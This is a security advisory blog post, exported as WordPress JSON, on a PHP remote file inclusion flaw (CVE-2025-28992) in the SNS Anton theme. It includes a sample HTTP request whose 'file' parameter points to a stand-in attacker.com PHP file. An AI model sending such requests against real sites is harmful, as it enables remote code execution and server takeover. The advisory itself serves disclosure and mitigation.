{"id":52306,"date":"2025-06-16T04:10:03","date_gmt":"2025-06-16T04:10:03","guid":{"rendered":""},"modified":"2025-07-02T23:18:08","modified_gmt":"2025-07-03T05:18:08","slug":"cve-2025-28992-remote-file-inclusion-vulnerability-in-sns-anton-php-program","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28992-remote-file-inclusion-vulnerability-in-sns-anton-php-program\/","title":{"rendered":"CVE-2025-28992: Remote File Inclusion Vulnerability in SNS Anton PHP Program<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The CVE-2025-28992 vulnerability is a significant security flaw that affects users of snstheme’s SNS Anton PHP program. It is identified as an Improper Control of Filename for Include\/Require Statement in PHP Program vulnerability, often referred to as a PHP Remote File Inclusion (RFI) vulnerability. This vulnerability is considered severe<\/a> due to its potential to allow unauthorized remote access, which can lead to potential system compromise and data leakage.
\nBeing a PHP-related vulnerability, it impacts a wide range of systems and applications<\/a> that use PHP, a popular server-side scripting language. The seriousness of this vulnerability is underlined by its CVSS Severity<\/a> Score of 8.1, indicating a high level of risk.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-28992
\nSeverity: High 8.1
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: Required
\nImpact: System Compromise<\/a>, Data Leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

SNS Anton PHP<\/a> Program | n\/a through 4.1<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit works by taking advantage of the PHP program’s improper control<\/a> of filename for include\/require statement. An attacker can manipulate the filename that the PHP include\/require statement is intended to use, resulting in the inclusion (execution) of a remote file<\/a> hosted on an attacker-controlled system.
\nThis file can contain malicious code<\/a> designed to compromise the server, such as code to create a backdoor, extract sensitive data, or otherwise manipulate the system in a way that benefits the attacker. As the PHP program runs on the server side, the vulnerability could potentially lead to a full system compromise<\/a>.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

GET \/index.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n
In this conceptual example, an attacker sends a GET request to the vulnerable index.php file<\/a>, appending a parameter `file` with a value pointing to a malicious PHP file hosted on their own server (`attacker.com`). If the server is vulnerable, it will include and execute the malicious PHP file<\/a>, running the attacker’s code on the server.<\/p>\n
Recommendations<\/strong><\/p>\n
It is highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against this exploit.
\nAdditionally, it is generally good practice to avoid using user-supplied input directly in include\/require statements in PHP without proper validation<\/a> and sanitization. This can help prevent such vulnerabilities<\/a> from arising in the first place.<\/p>\n","protected":false},"excerpt":{"rendered":"
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